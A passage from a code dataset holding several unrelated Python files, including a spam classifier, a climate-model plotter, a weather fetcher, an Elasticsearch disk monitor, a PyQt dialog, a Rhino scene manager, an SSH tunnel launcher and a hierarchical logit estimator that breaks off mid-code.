terms}, labels\n\n\n\n# decorators (is it worth?)\n# Create an input_fn that parses the tf.Examples from the given files,\n# and split them into features and targets.\ndef _input_fn(func):\n def _func_specific(*args):\n # Return the next batch of data.\n ds = func(*args)\n\n features, labels = ds.make_one_shot_iterator().get_next()\n \n return features, labels\n return _func_specific\n \n@_input_fn\ndef _train_input(input_filenames, num_epochs=None, batch_size=1, shuffle=True):\n # Same code as above; create a dataset and map features and labels.\n ds = tf.data.TFRecordDataset(input_filenames)\n ds = ds.map(_parse_function)\n\n if shuffle:\n ds = ds.shuffle(10000)\n\n # Our feature data is variable-length, so we pad and batch\n # each field of the dataset structure to whatever size is necessary.\n ds = ds.padded_batch(batch_size, ds.output_shapes)\n\n ds = ds.repeat(num_epochs)\n\n return ds\n\n# ---------------\n\ndef _get_stemmed_from_dataframe(dataframe :pd.DataFrame) -> set:\n vocabulary = set()\n\n for r in dataframe.text.str.lower():\n r = tokenizer.tokenize(r)\n for w in r:\n if w not in excess_words:\n vocabulary.add(ps.stem(w))\n \n return vocabulary\n\ndef _write_tfrecord(path :str = \"void.tfrecords\", data_frame :pd.DataFrame = None):\n # write a tfrecord file\n with tf.io.TFRecordWriter(path) as writer:\n for row in data_frame.values:\n features, label = row[:-1], row[-1]\n example = tf.train.Example()\n example.features.feature[\"text\"].bytes_list.value.extend(np.asarray(word_tokenize(features[0])).astype(bytes))\n example.features.feature[\"spam\"].int64_list.value.append(label)\n writer.write(example.SerializeToString())\n\nif __name__ == \"__main__\":\n\n nltk.download('stopwords')\n nltk.download('punkt')\n\n tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\n\n ps = PorterStemmer() # PorterStemmer is necessary to stem the words (remove the infections (prefixes, suffixes and derivations))\n tokenizer = RegexpTokenizer(r'\\w+') # remove automatically the punctualizations\n\n excess_words = set(stopwords.words('english'))\n excess_words.add(\"subject\")\n excess_words.add(\"_\")\n\n csv_dataframe = pd.read_csv(\"email.csv\")\n\n \n vocabulary = _get_stemmed_from_dataframe(csv_dataframe)\n\n\n tfrecord_training_path = \"records/training.tfrecords\"\n tfrecord_test_path = \"records/test.tfrecords\"\n\n csv_dataframe = csv_dataframe.reindex(\n np.random.permutation(csv_dataframe.index)\n )\n\n print(csv_dataframe)\n\n _write_tfrecord(path = tfrecord_training_path, data_frame = csv_dataframe.head(1200))\n _write_tfrecord(path = tfrecord_test_path, data_frame = csv_dataframe.tail(500))\n\n ##################### DNN ###############################\n dnn = DNN_Wrapper([20,20]) \n\n \n dnn.train(\n input_function=lambda: _train_input([tfrecord_training_path]),\n steps = 100\n )\n\n evaluation_metrics = dnn.evaluate(\n input_function=lambda: _train_input([tfrecord_training_path]),\n steps=1)\n\n print(\"Training set metrics:\")\n for m in evaluation_metrics:\n print(m, evaluation_metrics[m])\n print(\"---\")\n\n evaluation_metrics = dnn.evaluate(\n input_function=lambda: _train_input([tfrecord_test_path]),\n steps=1)\n\n print(\"Test set metrics:\")\n for m in evaluation_metrics:\n print(m, evaluation_metrics[m])\n print(\"---\")\n\n idx = int(input(\"inserisci entry da predirre\"))\n \n for i in dnn.predict(dataframe = csv_dataframe.loc[[x for x in range(idx, idx+2)]]):\n if i <= 1: \n print(i)\n else:\n raise ValueError(\"prediction over the range [0,1]\")\n ","sub_path":"source/spammer.py","file_name":"spammer.py","file_ext":"py","file_size_in_byte":6620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"371377386","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nimport matplotlib\r\nmatplotlib.use('TkAgg')\r\n\r\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\r\n# implement the default mpl key bindings\r\nfrom matplotlib.backend_bases import key_press_handler\r\n\r\nfrom matplotlib.figure import Figure\r\n\r\nimport sys\r\nif sys.version_info[0] < 3:\r\n import Tkinter as Tk\r\nelse:\r\n import tkinter as Tk\r\n\r\nroot = Tk.Tk()\r\nroot.wm_title(\"Some simple climate models -- Bryan Luo\")\r\n\r\n\r\n#constants and global variables:\r\n##################################\r\n#range of time in years from 1900 to 2300\r\nt=np.arange(1900,2300,1)\r\n#amount to be eventually extracted, quantity in trillions\r\nq1,q2,q3=1.5,2,15\r\n\r\n#amount of skewing or error\r\nn1,n2,n3=1.05,2.826,7.125\r\n\r\n#time/year at which resource is half depleted\r\nx1,x2,x3=2061,2005,2056\r\n\r\n#rising exponential time constant\r\ntau1,tau2,tau3=43.43,13.37,13.97\r\n\r\n################################\r\n\r\ndef rdepl(q,n,t,x,tau):\r\n return (q*(10**12)*((2**n)-1)*\r\n np.exp((t-x)/tau))/(n*tau*(1+(2**n-1)*\r\n np.exp((t-x)/tau))**((n+1)/n))\r\n\r\n\r\ndef draw_fuel_extraction():\r\n a =f.add_subplot(111,xlabel='Year',title='Global Fuel Extraction')\r\n '''plt.subplot(1,1,1)\r\n plt.xlabel('Year')\r\n plt.title('Global Fossil Fuel Extraction')'''\r\n\r\n #Global Coal Extraction\r\n line1,=a.plot(t,rdepl(q1,n1,t,x1,tau1),'b-')\r\n\r\n #Global oil Extraction\r\n line2,=a.plot(t,rdepl(q2,n2,t,x2,tau2),'gx')\r\n\r\n #Global Natural Gas Extraction\r\n line3,=a.plot(t,rdepl(q2,n3,t,x3,tau3),'r--')\r\n\r\n #plt.legend([line1,line2,line3],['Coal in millions of short tons','Crude oil in billions of barrels','Natural gas in trillions of cubic feet'])\r\n \r\n f.legend([line1,line2,line3],['Coal in millions of short tons','Crude oil in billions of barrels',\r\n 'Natural gas in trillions of cubic feet'],loc='center right')\r\n\r\n\r\n#figure 2 shows the emission of carbon into the atmosphere\r\ndef draw_carbon_emission():\r\n '''plt.subplot()\r\n plt.xlabel('Year')\r\n plt.ylabel('Carbon emitted in billions of tons')\r\n plt.title('Carbon emissions due to Fossil Fuels Burning')'''\r\n \r\n a = f.add_subplot(111,xlabel='Year',title='Carbon emissions (in billions of tons) by burning fossil fuels')\r\n\r\n def ecoal(t):\r\n return 0.907*0.5*0.75*rdepl(q1,n1,t,x1,tau1)\r\n \r\n line1,=a.plot(t,ecoal(t),'b-',label='Emissions by coal')\r\n\r\n def eoil(t):\r\n return 0.136*0.84*0.75*rdepl(q2,n2,t,x2,tau2)\r\n \r\n line2,=a.plot(t,eoil(t),'gx',label='Emissions by crude oil')\r\n\r\n def egas(t):\r\n return 0.0189*0.76*0.75*rdepl(q3,n3,t,x3,tau3)\r\n \r\n line3,=a.plot(t,egas(t),'r--', label='Emissions by natural gas')\r\n f.legend([line1,line2,line3],['Emissions by coal','Emissions by crude oil','Emissions by natural gas'],loc='center right')\r\n\r\n #ffuel shows carbon emissions by all fossil fuels\r\n def ffuel(t):\r\n return ecoal(t)+eoil(t)+egas(t)\r\n\r\n\r\ndef draw_tmperature():\r\n #temperature function\r\n def tempGrowth(s,c0,c):\r\n return temp0+s*np.log2(c/c0)\r\n\r\n #original temperature in Celsius\r\n temp0 = 14.3\r\n\r\n #original carbon emission in ppm\r\n c0 = 368\r\n\r\n #climate sensitivity factor\r\n s1,s2,s3 = 2, 3, 4\r\n\r\n\r\n # evenly sampled carbon emission from 368 to 4*368 = 1472\r\n c = np.arange(368,1472, 1)\r\n '''plt.subplot()\r\n plt.ylabel('Temperature--degrees Celsius')\r\n plt.xlabel('Carbon Emission--ppm')'''\r\n\r\n # red dashes, blue solid line and green -.\r\n #plt.title('Temperature Change Caused by emission')\r\n #plt.text(350,20,r'$T=T_0+Slog_2(C/C0)$')\r\n a = f.add_subplot(111,xlabel='Carbon Emissions--ppm',ylabel='Temperature in degrees Celsius')\r\n\r\n line1,=a.plot(c, tempGrowth(s1,c0,c), 'r--')\r\n line2,=a.plot(c, tempGrowth(s2,c0,c), 'b-')\r\n line3,=a.plot(c, tempGrowth(s3,c0,c), 'g-.')\r\n f.legend([line1,line2,line3],['Climate sensitivity factor(s) s=2','s=3', 's=4'])\r\n\r\n #plt.subplots_adjust(left=None, bottom=None, top=None, hspace=1)\r\n\r\n #plt.show()\r\n\r\n\r\ndef draw():\r\n canvas.figure.clf()\r\n show = rbVar.get()\r\n if show == 1:\r\n draw_fuel_extraction()\r\n elif show == 2:\r\n draw_carbon_emission()\r\n elif show == 3:\r\n draw_tmperature()\r\n canvas.show()\r\n \r\n \r\n###############\r\n#the figure area\r\nf = Figure(figsize=(9,6), dpi=100)\r\ncanvas = FigureCanvasTkAgg(f, master=root)\r\ncanvas.get_tk_widget().grid(row=0, rowspan=20, column=2)\r\n\r\n#the gui layout\r\nrbVar = Tk.IntVar()\r\nrbtn1 = Tk.Radiobutton(root,text='Fuel Extraction',variable=rbVar,value=1).grid(row=0,sticky='w')\r\nrbtn2 = Tk.Radiobutton(root,text='Carbon Emissions',variable=rbVar,value=2).grid(row=1,sticky='w')\r\nrbtn3 = Tk.Radiobutton(root,text='Temperature',variable=rbVar,value=3).grid(row=2,sticky='w')\r\n\r\nbutton = Tk.Button(root,text='Draw',command=draw).grid(row=3,sticky='w')\r\n\r\ntoolbar_frame = Tk.Frame(root)\r\ntoolbar_frame.grid(row=21,column=2)\r\ntoolbar = NavigationToolbar2TkAgg( canvas, toolbar_frame )\r\ntoolbar.update()\r\n\r\ndef on_key_event(event):\r\n print('you pressed %s'%event.key)\r\n key_press_handler(event, canvas, toolbar)\r\n\r\ncanvas.mpl_connect('key_press_event', on_key_event)\r\n\r\ndef _quit():\r\n root.quit() # stops main loop\r\n root.destroy() # this is necessary on Windows to prevent\r\n # Fatal Python Error: PyEval_RestoreThread: NULL tstate\r\n\r\nbutton = Tk.Button(master=root, text='Quit', command=_quit)\r\nbutton.grid(row=4, sticky='w')\r\n\r\nTk.mainloop()\r\n##########\r\n\r\n","sub_path":"climategraph.py","file_name":"climategraph.py","file_ext":"py","file_size_in_byte":5600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"10400367","text":"import requests\n\nweather_parameters = {\n '0': '',\n 'T': '',\n 'M': ''\n}\n\n\ndef weather(city):\n url = 'http://wttr.in'\n new_url = url + '/' + city\n response = requests.get(new_url, params=weather_parameters)\n return response.text\n\n\nif __name__ == '__main__':\n print('City?')\n print(weather(input()))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"27907758","text":"from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\n\nfrom uuid import uuid4\n\nimport compas_rhino\nfrom compas_3gs.rhino.objects import VolMeshObject\nfrom compas_3gs.rhino.objects import NetworkObject\n\nimport scriptcontext as sc\n\n__all__ = ['Scene']\n\n\nclass Scene(object):\n \"\"\"A Rhino scene for 3GS.\n\n Attributes\n ----------\n objects : dict\n Mapping between GUIDs and diagram objects added to the scene.\n The GUIDs are automatically generated and assigned.\n\n Examples\n --------\n .. code-block:: python\n\n from compas_ags.diagrams import FormGraph\n from compas_ags.diagrams import FormDiagram\n\n from compas_ags.rhino import Scene\n\n graph = FormGraph.from_obj(FILE)\n form = FormDiagram.from_graph(graph)\n\n scene = Scene()\n\n guid = scene.add(form, name=\"Form\", layer=\"AGS::FormDiagram\")\n form = scene.find(guid)\n\n scene.clear()\n scene.update()\n\n \"\"\"\n\n def __init__(self, db=None, depth=10, settings=None):\n self._current = -1\n self._depth = depth\n self._db = db\n self.objects = {}\n self.settings = settings or {}\n\n def add_forcevolmesh(self, item, name=None, layer=None, visible=True, settings=None):\n \"\"\"Add an object to the scene matching the provided item.\n\n Parameters\n ----------\n item : :class:`compas_ags.diagrams.Diagram`\n name : str, optional\n layer : str, optional\n visible : bool, optional\n settings : dict, optional\n\n Returns\n -------\n GUID\n \"\"\"\n guid = uuid4()\n obj = VolMeshObject.build(item, scene=self, name=name, layer=layer, visible=visible, settings=settings)\n self.objects[guid] = obj\n return guid\n\n def add_formnetwork(self, item, name=None, layer=None, visible=True, settings=None):\n \"\"\"Add an object to the scene matching the provided item.\n\n Parameters\n ----------\n item : :class:`compas_ags.diagrams.Diagram`\n name : str, optional\n layer : str, optional\n visible : bool, optional\n settings : dict, optional\n\n Returns\n -------\n GUID\n \"\"\"\n guid = uuid4()\n obj = NetworkObject.build(item, scene=self, name=name, layer=layer, visible=visible, settings=settings)\n self.objects[guid] = obj\n return guid\n\n def find(self, guid):\n \"\"\"Find an object using its GUID.\n\n Parameters\n ----------\n guid : str\n\n Returns\n -------\n :class:`compas_ags.rhino.DiagramObject`\n \"\"\"\n if guid in self.objects:\n return self.objects[guid]\n\n def find_by_name(self, name):\n \"\"\"Find an object using its name.\n\n Parameters\n ----------\n name : str\n\n Returns\n -------\n list of :class:`compas_ags.rhino.DiagramObject`\n \"\"\"\n objects = []\n for obj in self.objects.values():\n if obj.name == name:\n objects.append(obj)\n return objects\n\n def purge(self):\n \"\"\"Clear all objects from the scene.\"\"\"\n compas_rhino.rs.EnableRedraw(False)\n try:\n for guid in list(self.objects.keys()):\n self.objects[guid].clear()\n del self.objects[guid]\n except Exception:\n pass\n compas_rhino.rs.EnableRedraw(True)\n compas_rhino.rs.Redraw()\n\n def clear(self):\n \"\"\"Clear all objects from the scene.\"\"\"\n compas_rhino.rs.EnableRedraw(False)\n try:\n for guid in list(self.objects.keys()):\n self.objects[guid].clear()\n except Exception:\n pass\n compas_rhino.rs.EnableRedraw(True)\n compas_rhino.rs.Redraw()\n\n def clear_layers(self):\n \"\"\"Clear all object layers of the scene.\"\"\"\n compas_rhino.rs.EnableRedraw(False)\n try:\n for guid in list(self.objects.keys()):\n self.objects[guid].clear_layer()\n except Exception:\n pass\n compas_rhino.rs.EnableRedraw(True)\n compas_rhino.rs.Redraw()\n\n def redraw(self):\n \"\"\"Redraw the entire scene.\"\"\"\n compas_rhino.rs.EnableRedraw(False)\n try:\n for guid in self.objects:\n self.objects[guid].draw()\n except Exception:\n pass\n compas_rhino.rs.EnableRedraw(True)\n compas_rhino.rs.Redraw()\n\n def update(self):\n \"\"\"Redraw all objects in the scene.\"\"\"\n self.clear()\n self.redraw()\n\n def save(self):\n if not self._db:\n return\n states = self._db['states']\n if self._current < -1:\n del states[self._current + 1:]\n self._current = -1\n state = []\n for guid, obj in self.objects.items():\n # the definition of a state should be formalised\n # this is equivalent to the data schema of data objects\n # the scene has a state schema\n # whether or not to store a state could be the responsibility of the caller...\n state.append({\n 'object': {\n 'name': obj.name,\n 'layer': obj.layer,\n 'visible': obj.visible,\n 'settings': obj.settings,\n 'anchor': obj.anchor,\n 'location': list(obj.location),\n 'scale': obj.scale,\n },\n 'diagram': {\n 'type': type(obj.diagram),\n 'data': obj.diagram.to_data(),\n },\n })\n states.append(state)\n if len(states) > self._depth:\n del states[0]\n self._db['states'] = states\n\n # Insert custom undo/redo event\n def undo_redo(sender, e):\n if e.Tag == \"undo\":\n print(\"running 3gs undo\")\n if self.undo():\n sc.doc.AddCustomUndoEvent(\"Custom_undo_redo\", undo_redo, \"redo\")\n if e.Tag == \"redo\":\n print(\"running 3gs redo\")\n if self.redo():\n sc.doc.AddCustomUndoEvent(\"Custom_undo_redo\", undo_redo, \"undo\")\n sc.doc.AddCustomUndoEvent(\"Custom_undo_redo\", undo_redo, \"undo\")\n\n def undo(self):\n \"\"\"Undo scene updates.\n\n Returns\n -------\n bool\n False if there is nothing (more) to undo.\n True if undo was successful.\n \"\"\"\n if not self._db:\n return\n if self._current <= - self._depth:\n return False\n if len(self._db['states']) < 2:\n return False\n self.clear_layers()\n self.purge()\n self._current -= 1\n state = self._db['states'][self._current]\n form = None\n force = None\n for data in state:\n diagram = data['diagram']['type'].from_data(data['diagram']['data'])\n if data['object']['name'] == 'form':\n guid = self.add_formnetwork(diagram, name=data['object']['name'], layer=data['object']['layer'], visible=data['object']['visible'], settings=data['object']['settings'])\n if data['object']['name'] == 'force':\n guid = self.add_forcevolmesh(diagram, name=data['object']['name'], layer=data['object']['layer'], visible=data['object']['visible'], settings=data['object']['settings'])\n\n obj = self.find(guid)\n obj.anchor = data['object']['anchor']\n obj.location = data['object']['location']\n obj.scale = data['object']['scale']\n\n if obj.name == 'form':\n form = obj\n elif obj.name == 'force':\n force = obj\n\n if form and force:\n form.diagram.dual = force.diagram\n force.diagram.primal = form.diagram\n self.redraw()\n return True\n\n def redo(self):\n \"\"\"Redo scene updates.\n\n Returns\n -------\n bool\n False if there is nothing (more) to redo.\n True if redo was successful.\n \"\"\"\n if not self._db:\n return\n if len(self._db['states']) < 2:\n return False\n if self._current >= -1:\n return False\n self.clear_layers()\n self.purge()\n self._current += 1\n state = self._db['states'][self._current]\n form = None\n force = None\n for data in state:\n diagram = data['diagram']['type'].from_data(data['diagram']['data'])\n if data['object']['name'] == 'form':\n guid = self.add_formnetwork(diagram, name=data['object']['name'], layer=data['object']['layer'], visible=data['object']['visible'], settings=data['object']['settings'])\n if data['object']['name'] == 'force':\n guid = self.add_forcevolmesh(diagram, name=data['object']['name'], layer=data['object']['layer'], visible=data['object']['visible'], settings=data['object']['settings'])\n obj = self.find(guid)\n obj.anchor = data['object']['anchor']\n obj.location = data['object']['location']\n obj.scale = data['object']['scale']\n if obj.name == 'form':\n form = obj\n elif obj.name == 'force':\n force = obj\n if form and force:\n form.diagram.dual = force.diagram\n force.diagram.primal = form.diagram\n self.redraw()\n return True\n","sub_path":"src/compas_3gs/rhino/scene/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":9565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"326908681","text":"#!/usr/bin/env python\n\"\"\"\n Created by Dai at 18-10-18.\n\"\"\"\n\nfrom src.alarm import get_alarm\nfrom src.monitor.elastic_base import Elastic\n\n\nclass allocation(Elastic):\n\n async def start(self):\n res = await self.es.allocation()\n reslist = res.split(\"\\n\")[1:]\n\n for res in reslist:\n items = []\n old = ' '\n temp = ''\n for i in res:\n if i != ' ' and old == ' ':\n temp = i\n if i != ' ' and old != ' ':\n temp = temp + i\n if i == ' ' and old != ' ':\n items.append(temp)\n old = i\n if items == []:\n continue\n\n res = dict(\n ip=items[6],\n disk_used=items[2],\n disk_avail=items[3],\n disk_total=items[4],\n disk_percent=items[5]\n )\n for i in self.alarm:\n if float(res.get(i)) > float(self.alarm[i]):\n alarm = get_alarm()\n alarm().send(f\"{self.server} 系统健康检查报警磁盘占用过高 {res}\")\n\n\nasync def start(**kwargs):\n job = allocation(**kwargs)\n await job.start()\n","sub_path":"src/monitor/elastic_allocation.py","file_name":"elastic_allocation.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"413644119","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom PyQt5.QtWidgets import QDialog, QVBoxLayout, QPushButton, QTableWidget, QApplication, QLineEdit, QMessageBox, \\\n QInputDialog\nfrom PyQt5.QtCore import Qt\nimport sys\nimport libpg\nimport qlib as qc\nimport ex_grid\n\n\nclass ZoneManager(QDialog):\n def __init__(self, parent=None):\n super(ZoneManager, self).__init__(parent)\n self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowTitleHint | Qt.WindowStaysOnTopHint)\n self.setWindowTitle('Altera Estado')\n self.ret = (False, '')\n masterLayout = QVBoxLayout(self)\n self.zonesGrid = QTableWidget()\n self.zonesGrid.setSelectionBehavior(QTableWidget.SelectRows)\n self.zonesGrid.setSelectionMode(QTableWidget.SingleSelection)\n self.zonesGrid.setEditTriggers(QTableWidget.NoEditTriggers)\n self.zonesGrid.verticalHeader().setDefaultSectionSize(20)\n self.zonesGrid.verticalHeader().setVisible(False)\n ex_grid.make_grid(self.zonesGrid, ['#','Estado'], col_width=[(0,0),(1, 200)])\n cancelBtn = QPushButton('Sair')\n cancelBtn.clicked.connect(self.cancel_btn_click)\n addZoneBtn = QPushButton('Adiciona')\n addZoneBtn.clicked.connect(self.add_zone)\n masterLayout.addWidget(self.zonesGrid)\n masterLayout.addLayout(qc.addHLayout([addZoneBtn,cancelBtn]))\n self.refresh_grid()\n \n def refresh_grid(self):\n hl = libpg.sql_query('''SELECT area_id, area_name from areas order by area_name ASC''')\n ex_grid.grid_std(self.zonesGrid, data=hl, f_col=['i', 's'])\n \n def cancel_btn_click(self):\n self.ret = (False,'')\n self.close()\n \n def add_zone(self):\n b, ok = QInputDialog.getText(self, \"Adicionar Zona\", \"Zona\", QLineEdit.Normal)\n if ok and not b == '':\n libpg.execute_query('insert into areas (area_name, zone_level) values (%s,1)', (b,))\n self.refresh_grid()\n else:\n pass\n \n \ndef main():\n app = QApplication(sys.argv)\n form = ZoneManager()\n form.show()\n app.exec_()\n print(form.ret)\n\n\n\nif __name__ == '__main__':\n main()","sub_path":"zones_manager.py","file_name":"zones_manager.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"354297005","text":"#!/usr/bin/env python\n'''\nsubscriber\nKentStateRobotics Jared Butcher 7/26/2019\n'''\nfrom .message import Message\nfrom . import messages\nimport time\n\nclass Subscriber:\n '''The basic class used for receiving data from the network. \n Subscribes to the feeds of publishers with matching source, topic, and messageType.\n\n Args:\n source (str): Name of the sending network core\n topic (str): Lable the publisher will be publishing under\n messageDefinition (Message): The Message object that received messages are defined by\n callback (function(message)) A function to call with the unpacked message when one is received\n Kwargs:\n messageType (Message.MessageType, Optional) Type this subscriber is listening for, defaults to PUBLISHER, used mainly for action and service\n '''\n REGISTRATION_TOPIC='subReg'\n\n def __init__(self, source, topic, messageDefinition, callback, messageType=Message.MessageType.PUBLISHER.value):\n if len(topic) > Message.NAME_LENGTH:\n raise ValueError(\"Topic of subscriber excedied maximum length of {} characters\".format(Message.NAME_LENGTH))\n if type(messageType) != bytes:\n raise TypeError(\"messageType must be a VALUE of the enum Message.MessageType. Ex: Message.MessageType.PUBLISHER.value\")\n self.messageType = messageType\n self.source = Message.padString(source, Message.NAME_LENGTH)\n self.topic = Message.padString(topic, Message.NAME_LENGTH)\n self.messageDefinition = messageDefinition\n self.callback = callback\n\n def getRegisterMsg(self, remove=False):\n '''Generate the message used to register or unregister this subscriber. Returns a SubscriberMsg dictionary\n '''\n msg = messages.SubscriberMsg.dictFormat\n msg['topic'] = self.topic\n msg['source'] = self.source\n msg['messageType'] = self.messageType\n msg['remove'] = remove\n return msg\n\n def topicMatch(self, header):\n '''Does this subscriber subscribe to this message\n '''\n return (self.source == Message.padString('', Message.NAME_LENGTH) or self.source == header['source']) and self.topic == header['topic'] and self.messageType == header['messageType']\n\n def registrationMatch(registration, header):\n '''Static does this subscriber registration discribe and subscriber that listens for this message\n '''\n return ((registration['source'] == Message.padString('', Message.NAME_LENGTH) or registration['source'] == header['source']) and registration['topic'] == header['topic'] \n and registration['messageType'] == header['messageType'])\n\n def received(self, header, data):\n '''If this subscriber subscrives to the given message then it will be sent\n '''\n if self.topicMatch(header):\n self.callback(self.messageDefinition.unpack(data)[0])","sub_path":"control3/networking/subscriber.py","file_name":"subscriber.py","file_ext":"py","file_size_in_byte":2893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"347835597","text":"import urllib, json\r\nimport pandas as pd\r\nfrom itertools import islice\r\n\r\n#path='D:/FF/FF-master/FF-master/data/odLondon/'\r\npath='/Users/casa/2020/bikes/'\r\ndf1 = pd.read_csv(path+'CentroidesDistritosCoord_1.csv')\r\ngcoords = df1['lat'].astype(str) + ',' +df1['lon'].astype(str)\r\n#f.write(\"%s\\n\" % gcoords)\r\ns='%7C'.join(gcoords)\r\nindexp = [i for i, ltr in enumerate(s) if ltr == '%']\r\ndf = pd.read_csv(path+'CentroidesDistritosCoord_1.csv',skiprows=10,names=['name','lat','lon'],index_col='name')\r\nfor index,row in df.iterrows():\r\n\tprint(index)\r\n\toutfile = path+index.replace(\" \",\"\")+'/tmp'\r\n\tx=str(row['lat'])\r\n\ty=str(row['lon'])\r\n\turl = 'https://maps.googleapis.com/maps/api/distancematrix/json?origins='+y+','+x+'&destinations='\r\n\t#url = 'https://maps.googleapis.com/maps/api/distancematrix/json?origins=19.45262317,-99.13524808&destinations='\r\n\r\n\tdest=''\r\n\tinit=0\r\n\tend=indexp[90]\t\r\n\tfor i in range(0,3):\r\n\t\tif i==0:\r\n\t\t\tdest=s[init:end]\r\n\t\telif i==1:\r\n\t\t\tend=indexp[180]\r\n\t\t\tdest=s[init:end]\r\n\t\telse:\r\n\t\t\tend=len(s)-1\r\n\t\t\tdest=s[init:]\t\t\t\t\t\t\t\t\t\r\n\t\tinit=end+3\r\n\t\turl = url+dest+\"&mode=driving&key=xxxxx\"\r\n\t\t#print(url)\r\n\t\tdest=''\r\n\t\tresponse = urllib.request.urlopen(url)\r\n\t\turl = 'https://maps.googleapis.com/maps/api/distancematrix/json?origins='+y+','+x+'&destinations='\r\n\t\t#url = 'https://maps.googleapis.com/maps/api/distancematrix/json?origins=19.45262317,-99.13524808&destinations='\r\n\r\n\t\tdata = json.loads(response.read())\r\n\t\twith open(outfile+str(i)+'.json', 'w+') as joutfile:\r\n\t\t\tjson.dump(data, joutfile)\r\n\t\t\r\n\t\tf = open(outfile+'R'+str(i)+'.csv',\"w+\")\r\n\t\r\n\t\twith open(outfile+str(i)+'.json') as json_file:\r\n\t\t\tdata = json.load(json_file)\r\n\t\tfor p in data['rows']:\r\n\t\t\t\tfor r in p['elements']:\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\ttokens = r['duration']['text'].split()\r\n\t\t\t\t\t\tif len(tokens)>2:\r\n\t\t\t\t\t\t\tmins = int(tokens[0])*60+int(tokens[2])\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tmins = int(tokens[0])\r\n\t\t\t\t\t\tresult = r['distance']['text']+','+ str(mins)\r\n\t\t\t\t\texcept:\r\n\t\t\t\t\t\tresult = 'Error'\r\n\t\t\t\t\tf.write(\"%s\\n\" % result)\r\n\t\t\t\tf.close()\r\n\t#break\r\nprint('Success')\r\n\r\n","sub_path":"getODLondon.py","file_name":"getODLondon.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"424310635","text":"import os\r\nimport app\r\nimport time\r\nimport json\r\nimport threading\r\n\r\n\r\ndef real_path(file_name):\r\n return os.path.dirname(os.path.abspath(__file__)) + file_name\r\n\r\ndef main():\r\n config = json.loads(open(real_path('/config/config.json')).read())\r\n tunnel_type = str(config['tunnel_type'])\r\n inject_host = str('127.0.0.1')\r\n inject_port = int('9080')\r\n socks5_port = str('2080')\r\n\r\n app.server((inject_host, inject_port), tunnel_type).start()\r\n\r\n ssh_clients = app.ssh_clients(tunnel_type, inject_host, inject_port, socks5_ports=[socks5_port], http_requests_enable=False, log_connecting=False)\r\n ssh_clients.accounts = app.generate_accounts(app.convert_hostnames(real_path('/database/accounts.json')))\r\n\r\n while True:\r\n try:\r\n app.ssh_statistic('clear')\r\n threading.Thread(target=ssh_clients.ssh_client, args=(ssh_clients.unique, socks5_port, )).start()\r\n ssh_clients._connected.add(socks5_port)\r\n ssh_clients.unique += 1\r\n ssh_clients.all_disconnected_listener()\r\n except KeyboardInterrupt:\r\n pass\r\n finally:\r\n if ssh_clients.all_disconnected() == False: ssh_clients.all_disconnected_listener()\r\n\r\n try:\r\n with threading.RLock():\r\n command = str(input('\\n:: ')); print()\r\n if app.xstrip(command) == 'exit': break\r\n except KeyboardInterrupt: break\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"app-check.py","file_name":"app-check.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"144024820","text":"import math\n\nimport numpy as np\nfrom scipy import stats\n\n\nclass HierLogit:\n def __init__(self, n, k, j):\n self.beta = np.zeros((1, n, k))\n self.delta = np.zeros((1, j, k))\n self.sigma = np.identity(k).reshape(1, k, k)\n self.n = n\n self.k = k\n self.j = j\n self.accept = 0\n\n def estimate(self, y, x, z, index, it=10000, mu_delta=0, sigma_delta=0, df=6, scale=1, random=0.01):\n for _ in range(it):\n random_var = random * self.sigma[-1]\n beta_tmp = np.zeros((0, self.k))\n for i in range(self.n):\n y_ind = y[index == i]\n x_ind = x[index == i]\n z_ind = z[i]\n beta_tmp = np.append(beta_tmp, self.mh(\n y_ind, x_ind, z_ind, self.beta[-1][i], self.delta[-1], self.sigma[-1], random_var), 0)\n self.beta = np.append(self.beta, beta_tmp.reshape(1, self.n, self.k), 0)\n delta = self.generate_delta(z, mu_delta, self.sigma[-1], sigma_delta).reshape(1, self.j, self.k)\n self.delta = np.append(self.delta, delta, 0)\n sig = self.generate_sigma(self.beta[-1], self.delta[-1], z, df, scale).reshape(1, self.k, self.k)\n self.sigma = np.append(self.sigma, sig, 0)\n\n def loglik(self, param, y, x):\n u = np.exp(np.dot(x, param))\n p = u / (1 + u)\n return np.dot(y, np.log(p)) + np.dot((1-y), np.log(1-p))\n\n def loglik_multinormal(self, y, z, delta, sigma):\n mu = np.dot(delta.T, z)\n return -0.5 * np.dot(np.dot((y - mu).T, np.linalg.inv(sigma)), y - mu)\n\n def mh(self, y, x, z, param, delta, sigma, random):\n beta_old = param\n beta_new = np.random.multivariate_normal(beta_old, random)\n loglik_new = self.loglik(beta_new, y, x)\n loglik_new_prior = self.loglik_multinormal(beta_new, z, delta, sigma)\n loglik_old = self.loglik(beta_old, y, x)\n loglik_old_prior = self.loglik_multinormal(beta_old, z, delta, sigma)\n accept_prob = np.exp(loglik_new + 